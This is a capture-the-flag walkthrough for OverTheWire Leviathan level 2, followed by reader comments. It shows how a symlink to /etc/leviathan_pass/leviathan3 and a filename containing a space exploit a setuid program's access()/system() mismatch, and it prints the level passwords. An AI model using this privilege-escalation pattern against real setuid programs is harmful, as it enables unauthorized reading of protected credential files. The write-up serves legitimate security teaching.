OverTheWire Leviathan Wargame Solution 2

Leviathan2 presents us with a small binary that belongs to the user leviathan3 and group leviathan2. The program contains a small security hole that can be exploited using a symbolic link.  To understand how the program functions at its core and what is happening behind the scenes when the program executes, we will use a few Linux commands and techniques to enlighten us with this information.

Edited: 3/18/2014:

  • Updated with current solution
  • Made more readable

Leviathan 2->3:

leviathan2@melinda:~$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Jun 6 2013 .
drwxr-xr-x 160 root root 4096 Oct 17 09:23 ..
-rw-r--r-- 1 root root 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 root root 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 root root 675 Apr 3 2012 .profile
-r-sr-x--- 1 leviathan3 leviathan2 7365 Jun 6 2013 printfile

#Running "printfile" we can see that it wants a file path
#argument:

leviathan2@melinda:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename

For the sake of this updated tutorial, we are going to go ahead and create a directory and a file with a space in the name all in one go:


mkdir /tmp/solveme && touch /tmp/solveme/file\ tmp.txt

#Let's relocate into our newly created directory:
cd /tmp/solveme

#Check what's inside, we see our file with a space:
leviathan2@melinda:/tmp/solveme$ ls -la
total 2560
drwxrwxr-x    2 leviathan2 leviathan2    4096 Mar 19 03:40 .
drwxrwx-wt 1826 root       root       2613248 Mar 19 03:40 ..
-rw-rw-r--    1 leviathan2 leviathan2       0 Mar 19 03:40 file tmp.txt

#Now, let's examine what is happening with ltrace:
leviathan2@melinda:/tmp/solveme$ ltrace ~/printfile "file tmp.txt"
__libc_start_main(0x80484f4, 2, -10348, 0x80485d0, 0x8048640
access("file tmp.txt", 4) = 0
snprintf("/bin/cat file tmp.txt", 511, "/bin/cat %s", "file tmp.txt") = 21
system("/bin/cat file tmp.txt"/bin/cat: file: Permission denied
/bin/cat: tmp.txt: No such file or directory
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++

So, what is happening here is a small security hole in how this program functions. We can see that the function access() and /bin/cat are being called on the file. What access() does is check permissions based on the process’ real user ID rather than the effective user ID.

While access does use the full file path, the cat on the file is not using the full file path. We can see this near the end of the output where /bin/cat/ is being called to tmp.txt as if it were a separate file, it’s really the second half of our filename. This can be exploited if we create a symbolic link from the password file to the file we created in /tmp.

Let’s create the symbolic link, but with only the first part of the filename we created before the space.

leviathan2@melinda:/tmp/solveme$ ln -s /etc/leviathan_pass/leviathan3 /tmp/solveme/file

#Checking our directory, we see file tmp.txt was not converted
#to a symlink, but a separate symlink called "file" was created.

leviathan2@melinda:/tmp/solveme$ ls -la
total 2560
drwxrwxr-x 2 leviathan2 leviathan2 4096 Mar 19 03:41 .
drwxrwx-wt 1826 root root 2613248 Mar 19 03:56 ..
lrwxrwxrwx 1 leviathan2 leviathan2 30 Mar 19 03:41 file -> /etc/leviathan_pass/leviathan3
-rw-rw-r-- 1 leviathan2 leviathan2 0 Mar 19 03:40 file tmp.txt

Calling ~/printfile on the file that actually links to the password will fail.

leviathan2@melinda:/tmp/solveme$ ~/printfile "file"
You cant have that file...

#Hmmm, let's try calling it on the other file:
leviathan2@melinda:/tmp/solveme$ ~/printfile "file tmp.txt"
Ahdiemoo1j
/bin/cat: tmp.txt: No such file or directory

Bingo, the file did actually access the symbolic link correctly up until file, but then tried to incorrectly cat the part of the file name after the space as if it were another file.

This all works because /printfile is owned by leviathan3. Access will call the symlink with that privilege. But we also needed to utilize a syntax hack to make it work, hence the filename with a space in it. Be sure to check out the reference pages for the access() and ltrace for some background.

Enjoy the password for level 3: Ahdiemoo1j

10 thoughts on “OverTheWire Leviathan Wargame Solution 2

  1. great writeup, however I am seeing different behavior. When I give the printfile command multiple files I always get a -1 from the access call. Did you have to do something special to get access to only read the first file given?”

  2. What I did is to create a file with a space let say:
    echo HITHERE > /tmp/XXX/file\ tmp
    Then create a link to the password file with name the prefix before the space. Let say:
    ln -s /etc/leviathan_pass/leviathan3 /tmp/XXX/file
    Than call the program:
    ./printfile “/temp/XXX/file tmp”
    Then access checks correctly the file but cat fails and interprets as 2 files separately and then shows the password and an error message as file tmp doesn’t exists.

    • After some tinkering, I just got it to work via this method. There are some slight syntaxical things that are needed to get it, but it works. I need to clean up the solution and I will update the post with a clear explanation of this method. Very nice. Cheers.

  3. Your tutorial doesn’t explain why you immediately jump to trying a 2 word file with the ./printfile binary. Perhaps you should update that part. Otherwise thanks 🙂

    • Specifically which part? I’ll gladly update the post if necessary. Often this happens as you are reading the verbatim output of a command you should be familiar with. Or sometimes I’ve deemed it should be apparent why something happens the way it happens if reading my code comments and thinking carefully about the solution. The approach I took with these solutions were more so one of how to use everyday Linux commands in new ways; not necessarily a tutorial on the commands. Cheers.

  4. After a huge agony I have found a the directory “solveme” (it seems sy uses your recipe stepby step) and test it.

    Unfortunately it gives back the same just as mine (Does not seems that sg is changed over time?):

    leviathan2@melinda:/tmp/tmp.BAnutX7Of1$ cd /tmp/solveme
    leviathan2@melinda:/tmp/solveme$ ll
    total 7864
    drwxrwxr-x 2 leviathan2 leviathan2 4096 Dec 26 00:02 ./
    drwxrwx-wt 1 root root 8036352 Dec 30 22:28 ../
    lrwxrwxrwx 1 leviathan2 leviathan2 30 Dec 25 23:59 file -> /etc/leviathan_pass/leviathan3
    -rw-rw-r– 1 leviathan2 leviathan2 0 Dec 26 00:02 file tmp.txt
    -rw-rw-r– 1 leviathan2 leviathan2 0 Dec 26 00:00 tmp.txt
    leviathan2@melinda:/tmp/solveme$ ltrace ~/printfile “file tmp.txt”
    __libc_start_main(0x804852d, 2, 0xffffd754, 0x8048600
    access(“file tmp.txt”, 4) = 0
    snprintf(“/bin/cat file tmp.txt”, 511, “/bin/cat %s”, “file tmp.txt”) = 21
    system(“/bin/cat file tmp.txt”/bin/cat: file: Permission denied

    — SIGCHLD (Child exited) —
    ) = 256
    +++ exited (status 0) +++
    leviathan2@melinda:/tmp/solveme$

  5. Hi! I tried to solve this by my own and found one interesting thing:
    when I used
    “` leviathan2@leviathan:~$ ltrace ./printfile /etc/leviathan_pass/leviathan2
    __libc_start_main(0x804852b, 2, 0xffffd754, 0x8048610
    access(“/etc/leviathan_pass/leviathan2”, 4) = 0
    snprintf(“/bin/cat /etc/leviathan_pass/lev”…, 511, “/bin/cat %s”, “/etc/leviathan_pass/leviathan2”) = 39
    geteuid() = 12002
    geteuid() = 12002
    setreuid(12002, 12002) = 0
    system(“/bin/cat /etc/leviathan_pass/lev”…ougahZi8Ta

    — SIGCHLD (Child exited) —
    ) = 0
    +++ exited (status 0) +++
    “`
    I got password

    But when I used:
    “`
    leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan2
    /bin/cat: /etc/leviathan_pass/leviathan2: Permission denied
    “`
    I got “Permission denied”

    May be someone can explain this behaviour?

Leave a reply to cameron0x00 Cancel reply